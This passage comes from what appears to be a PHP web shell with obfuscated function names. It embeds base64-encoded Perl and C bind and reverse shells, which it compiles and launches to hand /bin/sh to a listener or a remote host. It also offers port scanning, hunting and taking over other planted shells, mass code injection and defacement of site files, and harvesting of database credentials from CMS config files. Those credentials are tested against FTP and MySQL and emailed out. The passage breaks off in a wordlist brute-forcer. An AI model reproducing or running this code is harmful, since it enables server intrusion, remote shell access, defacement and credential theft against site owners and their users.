7824 $bndprt_pl = "IyEvdXNyL2Jpbi9wZXJsCiRTSEVMTD0iL2Jpbi9zaCI7CiRMSVNURU5fUE9SVD0lcG9ydCU7CnVzZSBTb2NrZXQ7CiRwcm90b2NvbD1nZXRwcm90b2J5bmFtZSgndGNwJyk7CnNvY2tldChTLCZQRl9JTkVULCZTT0NLX1NUUkVBTSwkcHJvdG9jb2wpIHx8IGRpZSAiQ2FudCBjcmVhdGUgc29ja2V0XG4iOwpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7CmJpbmQoUyxzb2NrYWRkcl9pbigkTElTVEVOX1BPUlQsSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7Cmxpc3RlbihTLDMpIHx8IGRpZSAiQ2FudCBsaXN0ZW4gcG9ydFxuIjsKd2hpbGUoMSkKewphY2NlcHQoQ09OTixTKTsKaWYoISgkcGlkPWZvcmspKQp7CmRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsKb3BlbiBTVERJTiwiPCZDT05OIjsKb3BlbiBTVERPVVQsIj4mQ09OTiI7Cm9wZW4gU1RERVJSLCI+JkNPTk4iOwpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsKY2xvc2UgQ09OTjsKZXhpdCAwOwp9Cn0KCg==";
7825 $bckcon_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
7826 $bckcon_c = "I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+CiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+CmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pCnsKIGludCBmZDsKIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47CiBjaGFyIHJtc1syMV09InJtIC1mICI7IAogZGFlbW9uKDEsMCk7CiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7CiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMl0pKTsKIHNpbi5zaW5fYWRkci5zX2FkZHIgPSBpbmV0X2FkZHIoYXJndlsxXSk7IAogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsyXSkpOyAKIGZkID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyAKIGlmICgoY29ubmVjdChmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSAmc2luLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyKSkpPDApIHsKICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7CiAgIGV4aXQoMCk7CiB9CiBzdHJjYXQocm1zLCBhcmd2WzBdKTsKIHN5c3RlbShybXMpOyAgCiBkdXAyKGZkLCAwKTsKIGR1cDIoZmQsIDEpOwogZHVwMihmZCwgMik7CiBleGVjbCgiL2Jpbi9zaCIsInNoIiwgTlVMTCk7CiBjbG9zZShmZCk7IAp9Cgo=";
7827 $bndportsrcs = array("bndprt.pl" => array("PERL", "perl %path"), "bndprt.c" =>
7828 array("C", "%path"));
7829 $bcsrcs = array("bckcon.pl" => array("PERL", "perl %path %host %port"),
7830 "bckcon.c" => array("C", "%path %host %port"));
7831 if (!@isset($brtest1))
7832 $brtest1 = 0;
7833 if (!@isset($brtest2))
7834 $brtest2 = 0;
7835 if (!@isset($brtest3))
7836 $brtest3 = 0;
7837 if (!@isset($brtest4))
7838 $brtest4 = 0;
7839 $users = array();
7840 if (@empty($brute_email))
7841 $brute_email = z7x('2', "email");
7842 if (@empty($dv_email))
7843 $dv_email = z7x('2', "email");
7844 if (@empty($cp_email))
7845 $cp_email = z7x('2', "email");
7846 if (@isset($brm) && ($brm == "2" || $brm == "3")) {
7847 $users = z6m();
7848 }
7849 $brute_type["1"] = z9s("343");
7850 if ($bpasswd) {
7851 $brute_type["2"] = z9s("344");
7852 $brute_type["3"] = z9s("345");
7853 }
7854 $available_arr = array();
7855 if ($bftp)
7856 $available_arr["FTP"] = "FTP";
7857 if ($bmysql)
7858 $available_arr["MySQL"] = "MySQL";
7859 if ($bmssql)
7860 $available_arr["MSSQL"] = "MSSQL";
7861 if ($bpostgres)
7862 $available_arr["PostgreSQL"] = "PostgreSQL";
7863 if ($boracle)
7864 $available_arr["Oracle"] = "Oracle";
7865 if (!@isset($brh))
7866 $brh = $saddr;
7867 if (!@isset($dvfiles))
7868 $dvfiles = "*conf*.php;*db*.php;";
7869 if (!@isset($dvuser))
7870 $dvuser = "user";
7871 if (!@isset($dvpass))
7872 $dvpass = "pass";
7873 if (!@isset($dvhost))
7874 $dvhost = "host";
7875 if (!@isset($dvbase))
7876 $dvbase = "base";
7877 $arr_vars = array("var" => "variable (\$var)", "arrayvar1" =>
7878 "arrayvar ('var'=>)", "arrayvar2" => "arrayvar (['var']=>)", "const" =>
7879 "constant (define)");
7880 $rec_arr = array();
7881 for ($i = 0; $i < 10; $i++)
7882 $rec_arr[($i + 1)] = ($i + 1) . " DIRS";
7883 $rec_arr["no"] = "NO";
7884 $arr_dvfind = array("dvdir" => z9s("325"));
7885 $arr_method = array("cpdir" => z9s("304"));
7886 if (($wwwdir = z3k()) !== false) {
7887 $arr_dvfind["docroot"] = z9s("326");
7888 $arr_method["cpdocroot"] = z9s("305");
7889 }
7890 if ($bpasswd) {
7891 $arr_dvfind["passwd"] = z9s("327");
7892 $arr_method["cppasswd"] = z9s("306");
7893 }
7894 $arr_sfuncs = array("glob" => "glob");
7895 if ($nix && $sh_exec) {
7896 $arr_sfuncs["find"] = "find";
7897 }
7898 $inj_method = array("top" => "Top of the file", "end" => "End of the file",
7899 "php1" => "Before first <?", "html1" => "Before <html>", "html2" =>
7900 "Before </html>", "body1" => "Before <body.*>", "body2" =>
7901 "Before </body>", "php2" => "After last ?>", "body3" =>
7902 "After <body.*>", "body4" => "After </body>", "html3" =>
7903 "After <html>", "html4" => "After </html>", "overwrite" =>
7904 "Deface (Overwrite file)");
7905 if (!@isset($bnd_port) || !@is_numeric($bnd_port))
7906 $bnd_port = z7x('2', 'bind_port');
7907 if (!@isset($bnd_pass) || @empty($bnd_pass))
7908 $bnd_pass = z7x('2', 'bind_pass');
7909 if (!@isset($bc_host) || @empty($bc_host))
7910 $bc_host = $yaddr;
7911 if (!@isset($bc_port) || !@is_numeric($bc_port))
7912 $bc_port = z7x('2', 'backcon_port');
7913 $bindmsg = $bcmsg = "";
7914 if (@isset($bindsubmit) && $bindsubmit) {
7915 $v = $bndportsrcs[$bnd_src];
7916 if (@empty($v)) {
7917 $bindmsg = z9s("272");
7918 } elseif (@fsockopen("localhost", $bnd_port, $errno, $errstr, 0.1)) {
7919 $bindmsg = z9s("275", $bnd_port);
7920 } else {
7921 $w = @explode(".", $bnd_src);
7922 $ext = $w[@count($w) - 1];
7923 unset($w[count($w) - 1]);
7924 $srcpath = $tempdir . @join(".", $w) . "." . @md5(@time()) . "." . $ext;
7925 $binpath = $tempdir . @join(".", $w) . @md5(@time());
7926 if ($ext == "pl") {
7927 $binpath = $srcpath;
7928 }
7929 @unlink($srcpath);
7930 $fp = @fopen($srcpath, "ab+");
7931 if (!$fp) {
7932 $bindmsg = z9s("271");
7933 } else {
7934 $data = @base64_decode(${@str_replace('.', '_', $bnd_src)});
7935 $data = @str_replace("%pass%", $bnd_pass, $data);
7936 $data = @str_replace("%port%", $bnd_port, $data);
7937 @fwrite($fp, $data, @strlen($data));
7938 @fclose($fp);
7939 if ($ext == "c") {
7940 $retgcc = z9t("gcc -o " . $binpath . " " . $srcpath);
7941 @unlink($srcpath);
7942 }
7943 $v[1] = @str_replace("%path", $binpath, $v[1]);
7944 $v[1] = @str_replace("//", "/", $v[1]);
7945 $retbind = z9t($v[1] . " > /dev/null &");
7946 @sleep(5);
7947 $sock = @fsockopen("localhost", $bnd_port, $errno, $errstr, 5);
7948 if (!$sock) {
7949 $bindmsg = z9s("273", $bnd_port);
7950 } else {
7951 $bindmsg = z9s("274", array($saddr, $bnd_port));
7952 }
7953 }
7954 }
7955 }
7956 if (@isset($bcsubmit) && $bcsubmit) {
7957 $v = $bcsrcs[$bc_src];
7958 if (@empty($v)) {
7959 $bcmsg = z9s("272");
7960 } else {
7961 $w = @explode(".", $bc_src);
7962 $ext = $w[count($w) - 1];
7963 unset($w[count($w) - 1]);
7964 $srcpath = $tempdir . join(".", $w) . "." . @md5(@time()) . "." . $ext;
7965 $binpath = $tempdir . join(".", $w) . @md5(@time());
7966 if ($ext == "pl") {
7967 $binpath = $srcpath;
7968 }
7969 @unlink($srcpath);
7970 $fp = @fopen($srcpath, "ab+");
7971 if (!$fp) {
7972 $bcmsg = z9s("271");
7973 } else {
7974 $data = @base64_decode(${str_replace('.', '_', $bc_src)});
7975 @fwrite($fp, $data, strlen($data));
7976 fclose($fp);
7977 if ($ext == "c") {
7978 $retgcc = z9t("gcc -o " . $binpath . " " . $srcpath);
7979 @unlink($srcpath);
7980 }
7981 $v[1] = @str_replace("%path", $binpath, $v[1]);
7982 $v[1] = @str_replace("%host", $bc_host, $v[1]);
7983 $v[1] = @str_replace("%port", $bc_port, $v[1]);
7984 $v[1] = @str_replace("//", "/", $v[1]);
7985 $retbind = z9t($v[1] . " > /dev/null &");
7986 $bcmsg = z9s("76", array($bc_host, $bc_port));
7987 }
7988 }
7989 }
7990 $selecta = $selectb = array();
7991 foreach ($bndportsrcs as $k => $v)
7992 $selecta[$k] = $v[0];
7993 foreach ($bcsrcs as $k => $v)
7994 $selectb[$k] = $v[0];
7995 if (!$win && ($sh_exec || $safe_exec)) {
7996 echo z2b(array(z9s("265") . (!@empty($bindmsg) ? " - " . @strtoupper($bindmsg) :
7997 ""), z9s("266") . (!@empty($bcmsg) ? " - " . @strtoupper($bcmsg) : "")), '46');
7998 echo z9m(2) . z7p() . z7k('', '4');
7999 echo z5c(array("act" => "tools", "d", "bindsubmit" => "1"), z10e(z5n() . z7i(z5t
8000 (z9s("267")) . z9j(z6i("bnd_pass", $bnd_pass, '4') . ":" . z6i("bnd_port", $bnd_port,
8001 '1') . ":" . z4a("bnd_src", $selecta, '1', 1) . z8v(z9s("268"), '7'))) . z5n(),
8002 '2'));
8003 echo z7g() . z7k('', '46');
8004 echo z5c(array("act" => "tools", "d", "bcsubmit" => "1"), z10e(z5n() . z7i(z5t(z9s
8005 ("434")) . z9j(z6i("bc_host", $bc_host, '4') . ":" . z6i("bc_port", $bc_port,
8006 '1') . ":" . z4a("bc_src", $selectb, '1', 1) . z8v(z9s("435"), '7'))) . z5n(),
8007 "2"));
8008 echo z7g() . z7u() . z10w();
8009 $ii = 0;
8010 if (@is_dir($tempdir)) {
8011 if ($dh = @opendir($tempdir)) {
8012 while (($file = @readdir($dh)) !== false) {
8013 if (@preg_match('/^(bndprt|bckcon)\.?[a-zA-Z0-9]{32}/', $file)) {
8014 if (@isset($clean)) {
8015 @unlink($tempdir . $file);
8016 } else {
8017 $ii++;
8018 }
8019 }
8020 }
8021 @closedir($dh);
8022 }
8023 }
8024 if ($ii != 0)
8025 echo z2b(@strtoupper(z9s("269", $ii)) . z5c(array("act" => "tools", "d", "clean" =>
8026 "1"), z8v(z9s("270"), '7')));
8027 }
8028 $pscmsg = '';
8029 $startscan = 0;
8030 if (@isset($pscan) && $pscan && !@empty($pscip) && @is_numeric($pscps) && @
8031 is_numeric($pscpe)) {
8032 if ($pscps < 0 || $pscps > 65535 || $pscpe < 0 || $pscpe > 65535) {
8033 $pscmsg = z9s("280");
8034 } else {
8035 $startscan = 1;
8036 }
8037 }
8038 echo z2b(array(z9s("281"), z9s("277") . ($pscmsg != '' ? " : " . $pscmsg : '')),
8039 "46");
8040 if (!@isset($pscip))
8041 $pscip = $saddr;
8042 if (!@isset($pscps))
8043 $pscps = "0";
8044 if (!@isset($pscpe))
8045 $pscpe = "65535";
8046 echo z9m(2) . z7p() . z7k('', '4') . z6d() . z9m('2') . z7z() . z9b("shellhunt",
8047 "1") . z9b("act", "tools") . z9b("d") . z7i(z5t(z9s("282")) . z9j(z4a("shaction",
8048 array("view" => z9s("284"), "viewall" => z9s("285"), "own" => z9s("286"),
8049 "ownall" => z9s("287")), "5", 1) . ":" . z4a("shrecursive", $rec_arr, "1", 1) .
8050 z8v(z9s("436"), "7"))) . z7i(z5t(z9s("283")) . z9j(z4a("hsfunc", $arr_sfuncs,
8051 "1", 1) . ":" . z5u("shpath", $d, "2"))) . z9z() . z10w() . z6d() . z7g() . z7k('',
8052 '46') . z6d() . z9m('2') . z5c(array("act" => "tools", "d", "pscan" => "1"), z7i
8053 (z5t(z9s("278")) . z9j(z6i("pscip", $pscip, "4") . ":" . z6i("pscps", $pscps,
8054 '1') . "-" . z6i("pscpe", $pscpe, '1') . z8v(z9s("279"), '7')))) . z10w() . z6d() .
8055 z7g() . z7u() . z10w();
8056 if (@isset($shellhunt) && $shellhunt) {
8057 $glob = $shells = array();
8058 $glob = z5s($shpath, "*.php", $shrecursive, (($hsfunc == "find") ? true : false));
8059 if (@count($glob) > 0) {
8060 $viewall = $rcown = 0;
8061 switch ($shaction) {
8062 case 'view':
8063 $viewall = $rcown = 0;
8064 break;
8065 case 'viewall':
8066 $viewall = 1;
8067 $rcown = 0;
8068 break;
8069 case 'own':
8070 $viewall = 0;
8071 $rcown = 1;
8072 break;
8073 case 'ownall':
8074 $viewall = $rcown = 1;
8075 break;
8076 default:
8077 $viewall = $rcown = 0;
8078 break;
8079 }
8080 foreach ($glob as $tmp) {
8081 if (($ttype = z2y($tmp, $viewall, $rcown)) !== false) {
8082 $shells[$tmp] = $ttype;
8083 }
8084 }
8085 }
8086 if (@count($shells) > 0) {
8087 if (($wwwdir = z3k()) !== false) {
8088 $url = z8o();
8089 $url_a = @parse_url($url);
8090 if (@isset($url_a["host"])) {
8091 $shellhost = $url_a["host"];
8092 }
8093 }
8094 $external = 1;
8095 echo z2b(z9s("288"), "1") . z9m("2") . z7i(z9j(z9s("292"), "13", "2") . z9j(z9s
8096 ("293"), "13") . z9j(z9s("294"), "13") . z9j(z9s("295"), "13", "3"));
8097 $tr = 0;
8098 foreach ($shells as $shell => $shelltype) {
8099 $wwwlink = "-";
8100 if (@isset($shellhost) && @strstr($shell, $wwwdir) !== false) {
8101 $wwwlink = z10y('http://' . $shellhost . '/' . @substr($shell, @strlen($wwwdir)) .
8102 '"', z9s("296"), "1", 1);
8103 }
8104 echo z7i(z9j(z2h($shell), "14", "2") . z9j($shelltype, "14") . z9j($wwwlink,
8105 "14") . z9j(z0h($shell, "1") . z5c(array("act" => "f", "ft" => "rcown", "d" =>
8106 z3p($shell), "f" => z2h($shell)), z8v(z9s("297"), "18"), "1"), "14", "3"), ($tr %
8107 2 ? '0' : '1'));
8108 $tr++;
8109 }
8110 echo z10w();
8111 }
8112 }
8113 if ($startscan) {
8114 $pscan = z8c($pscip, $pscps, $pscpe);
8115 if (@!empty($pscan)) {
8116 echo z2b(z9s("289"));
8117 echo z6d() . z10e(z7i(z6x(z5w('', '1') . $pscan . z5q())), '2') . z6d();
8118 }
8119 }
8120 echo z2b(array(z9s("298"), z9s("309")), "46");
8121 echo z9m(2) . z7p() . z7k('', '4') . z6d() . z9m('2') . z7z() . z9b("cpfind",
8122 "1") . z9b("act", "tools") . z9b("d") . z7i(z5t(z9s("299")) . z9j(z5u("cphost",
8123 "127.0.0.1", "5") . ":" . z5u("cpuser", "root", "4") . ":" . z4a("cpservice", $available_arr,
8124 "1", 1))) . z7i(z5t(z9s("300")) . z9j(z5u("cpfiles", "*conf*.php;*db*.php;", "5") .
8125 ":" . z4a("cpmethod", $arr_method, "4", 1) . ":" . z4a("cprecursive", $rec_arr,
8126 "1", 1))) . z7i(z5t(z9s("301")) . z9j(z4a("csfunc", $arr_sfuncs, "1", 1) . ":" .
8127 z5u("cpdir", $d, "2"))) . ($bmail ? z7i(z5t(z9s("302")) . z9j(z5u("cp_email", "",
8128 '2') . z9g("cp_log"))) : '') . z7i(z5t(z9c()) . z9j(z8v(z9s("307"), "7") . z9c() .
8129 z5y("cppassfile", z9s("303"), "cppassfile"))) . z9z() . z10w() . z6d() . z7g() .
8130 z7k('', '46') . z6d() . z9m('2') . z7z() . z9b("inject", "1") . z9b("act",
8131 "tools") . z9b("d") . z7i(z5t(z9s("310")) . z9j(z5u("injfiles",
8132 "*.html;index.php;", "5") . ":" . z4a("injmethod", $inj_method, "4", 1) . ":" .
8133 z4a("injrecursive", $rec_arr, "1", 1))) . z7i(z5t(z9s("311")) . z9j(z4a("isfunc",
8134 $arr_sfuncs, "1", 1) . ":" . z5u("injdir", $d, "2"))) . z9f(z5t(z9s("312")) .
8135 z9j(z5w("injcode", "6") . (@isset($injcode) ? @htmlspecialchars($injcode) : '') .
8136 z5q())) . z7i(z5t(z9c()) . z9j(z8v(z9s("313"), "7"))) . z9z() . z10w() . z6d() .
8137 z7g() . z7u() . z10w();
8138 if (@isset($inject) && $inject) {
8139 $glob = array();
8140 $glob = z5s($injdir, $injfiles, $injrecursive, (($isfunc == "find") ? true : false));
8141 if (@count($glob) > 0) {
8142 $i = 0;
8143 foreach ($glob as $file) {
8144 if (z4i($injcode, $injmethod, $file)) {
8145 if ($i == 0) {
8146 echo z2b(z9s("314")) . z6d() . z9m("2") . z6g() . z6w() . z5w('', '1');
8147 z5p();
8148 }
8149 echo $file . "\r\n";
8150 $i++;
8151 }
8152 }
8153 if ($i > 0)
8154 echo z5q() . z7g() . z7u() . z10w() . z6d();
8155 }
8156 }
8157 if (@isset($cpfind) && $cpfind && (!@empty($cpuser) || $cpmethod == "cppasswd")) {
8158 echo z2b(z9s("308")) . z6d();
8159 echo z9m('2') . z7p() . z6w() . z5w("", "1");
8160 z5p();
8161 $glob = array();
8162 switch ($cpmethod) {
8163 case 'cpdir':
8164 $glob[$cpuser] = z5s($cpdir, $cpfiles, $cprecursive, (($csfunc == "find") ? true : false));
8165 break;
8166 case 'cpdocroot':
8167 $glob[$cpuser] = z5s(z1a($wwwdir), $cpfiles, $cprecursive, (($csfunc == "find") ? true : false));
8168 break;
8169 case 'cppasswd':
8170 $uarr = z6m(1);
8171 if (@count($uarr) > 0) {
8172 foreach ($uarr as $uk => $arr) {
8173 if ($arr[1] != '/' && !@preg_match('#^(/var/run|/var/log|/var/cache|/var/mail|/var/cache|/var/backup|/usr/games|/lib|/var/lib|/var/tmp|/tmp|/dev|/proc|/sbin|/usr/sbin|/usr/local/sbin|/bin|/usr/bin|/usr/local/bin)#',
8174 $arr[1]) && z4j($arr[1])) {
8175 $glob[$arr[0]] = z5s(z1a($arr[1]), $cpfiles, $cprecursive, (($csfunc == "find") ? true : false));
8176 }
8177 }
8178 }
8179 unset($uarr);
8180 break;
8181 default:
8182 break;
8183 }
8184 if (@count($glob) > 0) {
8185 foreach ($glob as $user => $file_arr) {
8186 if (@count($file_arr) > 0) {
8187 foreach ($file_arr as $tfile) {
8188 z1m($tfile, $user);
8189 }
8190 }
8191 }
8192 }
8193 $log = '';
8194 $found = 0;
8195 if (@isset($passarray) && @count($passarray) > 0) {
8196 foreach ($passarray as $user => $passwords) {
8197 if (@count($passwords) > 0) {
8198 foreach ($passwords as $pass) {
8199 if (@isset($cppassfile) && $cppassfile) {
8200 echo "$user $pass\r\n";
8201 } else {
8202 if (!@isset($stop))
8203 $stop = 0;
8204 if ($cpservice == "FTP" && $bftp && !$stop) {
8205 $test = z3h($cphost, $user, $pass, 21, 3);
8206 if ($test == "failed") {
8207 $stop = 1;
8208 } elseif ($test == "valid") {
8209 $found++;
8210 $tmp = "host: $cphost\r\n";
8211 $tmp .= "user: $user\r\n";
8212 $tmp .= "pass: $pass\r\n";
8213 $tmp .= "service: $cpservice\r\n\r\n";
8214 echo $tmp;
8215 $log .= $tmp;
8216 }
8217 } else {
8218 if (z4u($cphost, $user, $pass, '', $cpservice) == "valid") {
8219 $found++;
8220 $tmp = "host: $cphost\r\n";
8221 $tmp .= "user: $user\r\n";
8222 $tmp .= "pass: $pass\r\n";
8223 $tmp .= "service: $cpservice\r\n\r\n";
8224 echo $tmp;
8225 $log .= $tmp;
8226 }
8227 }
8228 }
8229 }
8230 }
8231 }
8232 }
8233 if ($cp_log == "1" && $found > 0 && $bmail) {
8234 @mail($cp_email, "$cpservice|$cphost", $log);
8235 }
8236 echo z5q() . z7u() . z7g() . z10w() . z6d();
8237 }
8238 $arr_cfgs = array('' => "Select Software", "joomla" => "Joomla", "opencart" =>
8239 "Opencart", "osc" => "Oscommerce", "pinnaclecart" => "Pinnaclecart",
8240 "squirrelcart" => "Squirrelcart", "wordpress" => "Wordpress", "xcart" =>
8241 "X-cart", "zencart" => "Zen-cart", "all" => "All of above");
8242 if (@isset($sqlfind) && $sqlfind && @isset($dvdefined) && !@empty($dvdefined) &&
8243 @isset($dvpasswd) && !@empty($dvpasswd)) {
8244 $dvcfgs = "nVrkA0mFRDYCHunZ3cN9mLz5pNShsm0r8L4drmb0FTMSPnfIqA4j+Uq6gfLYuldrtsMMNTgK5UoZ3ViSZ5jne7teFyngMstdNqjRBr1NSDZgOnhkT05Hm25ikOaooEva9Wc965VdcbUYpnqs8xq5VDaKeBpRkS1VAxaLTKOr899pfM1pm/v7Rdctk4H0A4bXSxn5Lup5HAdjjl1EzocQXar6WsYumziDYD/EOBgmBiNVl/+kGwfPs64vQfzVuttfcY7tizzenPmMJgE8BGj2AZuXWtxnl3UO4CAPBOdtwkrv+PwMsYhffkEyh17eC3BufrqDkWAQhECUhs8dnp1R0g5/ByuJMebTOe9qwpDDh5goXgYhtjTthSEu4XShBdKNHg+ve/4/QhiJb0hSq8ezOZHCmW1PZ/0gyrywZx2aucGJeCZx3mxnfjiKAGHcnJaiFDV09dXZRuvfGe6SGiPq84bErZThDHORRs5Fz8NivUxj9m+WW7QRtak8EOUiIcTlbPIP85XIWob21V3v83fAAOAr9oJUJJ8gpdfqOLIyJyfa5Kvas2O1DHnvqoS6GsEGGrfnlXHoTeiw47nGeR4SoC7BFPu0hM3hnC4QPR8jrI7D5xYYO3wzK4uhJU4f5Ot8GuqNTsjE1LTyuBqJbeY4I5tcmQLsFYmqyGEQXP4NDExH7OlBMKSlpVkMEeLtouWDMdeAhiYiyWM20jy2VJi5xiQevlBfG/briKFxmCwNdmF2JexxL6qlRGn+Rdx9VYGFot2rxR7y2JTeViten/QNci1L4xAWoHaT1EMCd0zxP/ZYRcBgvzt4326NG1WBspNY6SeSnbBQvPoMcrnOjXHrARy1NyzAUHGhtWeBoFAlShuSA2c4cqGEQTrs1PPKxpTbBacuNLMmm+wvMNvBhdt2HTfZTjdYyEn0qEfOVPTWb8LWPKWxA/zIJ5OYeVH69g0b4CPNknHes4yNY6D7RxK905EY0DMMI1h8HY1n7r7ZvWd84O3VBf904vQUILRA/vhyRb7oKUHttyCruZoG4lgAQGg78PHaYugtc9SFu7Pq41Cn";
8245 $ddcfgs = zrc4::zdec(@md5($dvpasswd), @base64_decode($dvcfgs));
8246 if ($dvdefined == "all") {
8247 $arr_mass = array();
8248 $arr_mass_paths = array();
8249 foreach ($arr_cfgs as $tcfg => $tsoft) {
8250 if ($tcfg != '' && $tcfg != "all") {
8251 $tddcfg = @explode("|" . $tcfg . "|", $ddcfgs);
8252 $tddcfg = @substr($tddcfg[1], 0, @strpos($tddcfg[1], "|"));
8253 @list($tdvuser, $tdtuser, $tdvpass, $tdtpass, $tdvbase, $tdtbase, $tdvhost, $tdthost,
8254 $tdvfiles, ) = @explode(",", $tddcfg);
8255 $arr_mass[$tsoft] = array($tdvuser, $tdtuser, $tdvpass, $tdtpass, $tdvbase, $tdtbase,
8256 $tdvhost, $tdthost);
8257 $tefiles = @explode(";", $tdvfiles);
8258 foreach ($tefiles as $tefile) {
8259 $tefile = @trim($tefile);
8260 if (!@empty($tefile) && !@in_array($tefile, $arr_mass_paths))
8261 $arr_mass_paths[] = $tefile;
8262 }
8263 }
8264 }
8265 } else {
8266 if (@strpos($ddcfgs, "|" . $dvdefined . "|") !== false) {
8267 $ddcfg = @explode("|" . $dvdefined . "|", $ddcfgs);
8268 $ddcfg = @substr($ddcfg[1], 0, @strpos($ddcfg[1], "|"));
8269 @list($dvuser, $dtuser, $dvpass, $dtpass, $dvbase, $dtbase, $dvhost, $dthost, $dvfiles, ) =
8270 @explode(",", $ddcfg);
8271 }
8272 }
8273 }
8274 echo z2b(array(z9s("315"), z9s("337")), '46');
8275 echo z9m(2) . z7p() . z7k('', '4') . z6d() . z9m('2') . z7z() . z9b("sqlfind",
8276 "1") . z9b("act", "tools") . z9b("d") . z7i(z5t(z9s("316")) . z9j(z5u("dvuser",
8277 "", "5") . ":" . z4a("dtuser", $arr_vars, "4", 1) . z9c() . z9s("328"))) . z7i(z5t
8278 (z9s("317")) . z9j(z5u("dvpass", "", "5") . ":" . z4a("dtpass", $arr_vars, "4",
8279 1) . z9c() . z9s("328"))) . z7i(z5t(z9s("318")) . z9j(z5u("dvbase", "", "5") .
8280 ":" . z4a("dtbase", $arr_vars, "4", 1) . z9c() . z9s("329"))) . z7i(z5t(z9s("319")) .
8281 z9j(z5u("dvhost", "", "5") . ":" . z4a("dthost", $arr_vars, "4", 1) . z9c() .
8282 z9s("329"))) . z7i(z5t(z9s("320")) . z9j(z4a("dvdefined", $arr_cfgs, "5", 1) .
8283 ":" . z5u("dvpasswd", "", "4") . z9c() . "anti-lamerz :)")) . z7i(z5t(z9s("321")) .
8284 z9j(z5u("dvfiles", "", "5") . ":" . z4a("dvfind", $arr_dvfind, "4", 1) . ":" .
8285 z4a("dtrecursive", $rec_arr, "1", 1))) . z7i(z5t(z9s("322")) . z9j(z4a("dsfunc",
8286 $arr_sfuncs, "1", 1) . ":" . z5u("dvdir", $d, "2"))) . ($bmail ? z7i(z5t(z9s("302")) .
8287 z9j(z5u("dv_email", "", '2') . z9g("dv_log"))) : '') . z7i(z5t(z9c()) . z9j(z8v
8288 (z9s("323"), "7") . z9c() . z5y("dvsqltest", z9s("324"), "dvsqltest"))) . z9z() .
8289 z10w() . z6d() . z7g() . z7k('', '46') . z6d() . z9m('2') . z7z() . z9b("startbrute",
8290 "1") . z9b("act", "tools") . z9b("d") . z7i(z5t(z9s("338")) . z9j(z5u("brh", "",
8291 "4") . ":" . z5u("brp", "", "6") . ":" . z4a("bservice", $available_arr, "4", 1))) .
8292 z7i(z5t(z9s("339")) . z9j(z5u("bru", "", '4') . ":" . z5u("brdb", "", '5'))) .
8293 z7i(z5t(z9s("340")) . z9j(z9h("wordlist", '2'))) . z7i(z5t(z9s("341")) . z9j(z4a
8294 ("brm", $brute_type, '2', 1))) . z7i(z5t(z9s("342")) . z9j(z5y("brtest1",
8295 "user:resu", "brtest1") . z9c(1) . z5y("brtest2", "user:user1", "brtest2") . z9c
8296 (1) . z5y("brtest3", "user:user123", "brtest3"))) . z7i(z5t(z9c()) . z9j(z5y("brtest4",
8297 "Transform password to p@55w0rd", "brtest4"))) . ($bmail ? z7i(z5t(z9s("302")) .
8298 z9j(z6i("brute_email", $brute_email, '2') . z9g("brute_log"))) : '') . z7i(z5t(z9c
8299 ()) . z9j(z8v(z9s("346"), "7"))) . z9z() . z10w() . z6d() . z7g() . z7u() . z10w();
8300 if (@isset($startbrute) && $startbrute) {
8301 $stop = 0;
8302 echo z2b(z9s("347", $bservice, 1)) . z6d();
8303 echo z9m('2') . z7p() . z6w() . z5w("", "1");
8304 z5p();
8305 $con = true;
8306 $show = 0;
8307 $log = "";
8308 if ($bservice == "FTP") {
8309 $brp = (@preg_match("/^[0-9]{1,5}$/", $brp) ? $brp : "21");
8310 } elseif ($bservice == "MySQL") {
8311 $brp = (@preg_match("/^[0-9]{1,5}$/", $brp) ? $brp : "3306");
8312 }
8313 if ($brm == "1" || $brm == "3") {
8314 $dictionary = array();
8315 $list = @fopen($_FILES['wordlist']['tmp_name'], 'r');
8316 if (@is_resource($list)) {
8317 while (!@feof($list)) {
8318 $dictionary[] = @trim(@fgets($list));
8319 }
8320 @fclose($list);
8321 }
8322 $dictionary = @array_unique($dictionary);
8323 }
8324 if ($bservice == "FTP" && $bftp) {
8325 $time = 3;
8326 $success = 0;
8327 $count = 0;
8328 if (!@empty($bru) && !$stop) {
8329 $test = z2t($brh, $brp, $time, $brtest1, $brtest2, $brtest3, $brtest4, $bru);
